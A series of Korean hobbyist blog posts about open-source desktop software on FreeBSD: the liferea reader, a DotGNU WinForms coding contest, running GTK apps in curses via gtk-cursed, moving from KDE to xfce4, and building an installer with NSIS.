GTK2기반의 RDF 리더가 몇 종류 좋은 것이 나왔지만 (straw나 syndigator..) 뭔가 펄이나 파이썬이 두려워서 흐흐;; 그냥 C로 된 것 중에 liferea가 있다는 소식을 iolo님께 들었는데, 마침 딱 해보고 싶어져서 깔아봤습니다. 전반적으로 깔끔하고 좋기는 한데, 아직 UI가 상당히 많이 불안하고.. 제법 불편하네요. 크.. 뭐 아직 0.3밖에 안 되었으니 언젠가는 제대로 될 날이 있겠죠 -ㅁ-;

포트에 net/liferea 로 등록되었습니다.

Mono에 밀려 불쌍한 신세가 되고 있는 DotGNU 프로젝트에서 첫번째 코딩대회를 한다고 합니다. 이번 대회에서는 .NET GUI의 가장 중요한 요소이자 MS.NET 호환성을 위한 가장 삽질부분이라고 생각되는 WinForm 호환성 구현을 목표로 한다고 합니다. 8월 26일에 시작해서 4개월간 진행하게 되는데, WinForm의 완벽한 구현이 안 나올 경우에는 나올 때까지 한다고 하는군요.

그리고 상금은 1등이 2000달러, 2등이 600달러.. 해서 5등은 200달러입니다. 별로 다른 대회들에 비해 상금이 큰 편은 아니지만, 그래도 명목상 에헤헤. 과연 이번 대회로 WinForm 오픈소스 구현이 나올 수 있을까요? GPL로 선언해야 한다는 강제 규정이 붙긴했지만.. 뭐 쓸 수만 있다면야;;;

참고: http://www.gnu.org/projects/dotgnu/competition.html

헉~ GTK+가 저주를!! 꺄아~*

GTK+ 2의 cursed 바인딩인 gtk+-cursed가 대략 베타가 나왔군요. 역시나 graphics/aalib 만큼이나 변태짓이긴 하지만.. 뭐 이런 재미로.. ;; 으흐흐

gdk쪽 패치는 gtk-linux-fb를 뜯어 고쳐서 만든 녀석이라 리눅스 fb쪽 헤더파일과 상수를 여기저기 엄청 많이 쓰고 있습니다. 그래서, 프비에서 컴파일하려면 헤더파일 인클루드를 지워주고 함수 쓰는 부분 주석처리 해버리고 해야하는데.. 이것 뭐 대충 뜨기만 하면 되는 거고 실제로는 안 쓸 거니깐 -ㅁ-;

컴파일이 끝나면 LD_PRELOAD로 gdk와 gtk를 엎어버리면 gtk애플리케이션들이 모두 cursed 기반으로 뜨게됩니다. 몇가지 테스트해보니 audio/liteamp 는 콘솔에 아무것도 안 나오고 곡이 단축키로 플레이는 됩니다. 그리고 www/mozilla 는 신비롭게도 그냥 X용이 퍽 떠버립니다. 그 외에 net/gaim 이나 x11/xffm4 같은 것도 시도는 해 봤는데 전부 segfault나버립니다. 그리고 한글이 제대로 안 나오고 전부 ?로 나오는데 이건 어디쪽 문제인지는 잘 모르겠네요.

그럼 기념으로 gtk-cursed에서 잘 돌아가는 애플리케이션 korean/gdick 의 원래 모습과 저주받은 모습 =3 =333

갑자기 마음이 동해서, 오랫동안 함께했던 KDE를 버리고 xfce4로 이사해버렸습니다. 으흐흐.. 물론 이쁘기야 KDE가 좀 더 이쁘긴 하지만 -.-; KDE가 아무래도 리소스도 많이 먹고 요즘 쓰는 프로그램이 거의 다 GTK2기반인데다, KDE 트레이에 gtk 프로그램들을 도킹한 상태에서 kde 프로그램들이 도킹해버리면 X가 얼어버리는 이상한 사태가 벌어지는 바람에.. 요즘 뜨고 있는 xfce를 한번 깔아봤습니다.

흐흐 생각보다 아주 깔끔하고 속도도 빨라서, 앞으로 xfce를 쓰기로 마음 먹었습니다. ~.~;; xfce는 GTK+-2.0 기반으로 되어있어서 풍부한 GTK2 테마들을 쓸 수 있고, 환상의 한글 입력기 imhangul을 쓸 수 있다는 점도 아주 마음에 들구요.. 단순한 디자인 때문에 리소스를 아주 적게 먹는다는 것도 아주 마음에 드는군요. 흐흐.. 그리고, 주요 개발자 중의 몇 명은 BSD라이센스파라서 몇몇 컴포넌트는 BSD라이센스로 되어있고, 코어쪽도 대체로 GPL이 아닌 LGPL로 되어있다는 점도 마음에 쏘옥 듭니다. 으후훗;;

전체보기

스크린샷 출연 프로그램: gnome-terminal, xchat2, liteamp, gaim, nabi(독 안에), mozilla(다른 데스크탑에;;)

Winamp로 유명한 Nullsoft에서 만든 오픈소스 인스톨러 시스템인 NSIS를 드디어 써 봤습니다. 흐흐 전에 dToyomo 통합 코덱 팩을 보고 불법 소프트웨어치고는 인스톨러가 꽤 괜찮군~ 했는데 크크.. 그게 바로 NSIS기반이었던 것입니다. +_+

NSIS는 대충 맘대로 써도 되는데, 자기가 만들었다고 주장만 안 하면 되는 zlib 라이센스를 기반으로 하고 있는데, 사실 이 라이센스는, 지난 zlib 보안 버그 때, Microsoft의 프로그램들에서 대거 zlib과 동일한 보안 버그가 발견돼서, Microsoft가 zlib 라이센스 위반한 것이 아니냐 하는 그 유명한 라이센스지요. 에.. 말이 옆길로 ;;

NSIS는 소스 전체가 공개되어 있고, 사용자 커뮤티니가 이미 크게 갖춰진 편이라 사용자 기여에 의해서 많이 발전되고 있습니다. 아직 install log에 의한 Uninstall을 지원하지 않는 것이나 몇 가지 사소한 편의 상의 문제를 제외하고는 상용 인스톨러들을 충분히 압도하는데다, 오히려 더 쉽군요.

그럼, 심심해서 NSIS로 만들어 본 CJKPython 인스톨러 스크린샷을 몇 개..

Nullsoft가 찾아보니 오픈소스 소프트웨어를 제법 많이 만들더군요. 크크 멋집니다 만세! -ㅇ-; (Winamp 소스 공개하지 않는 이유는, 소스가 더러워서 일까요? -.-;;)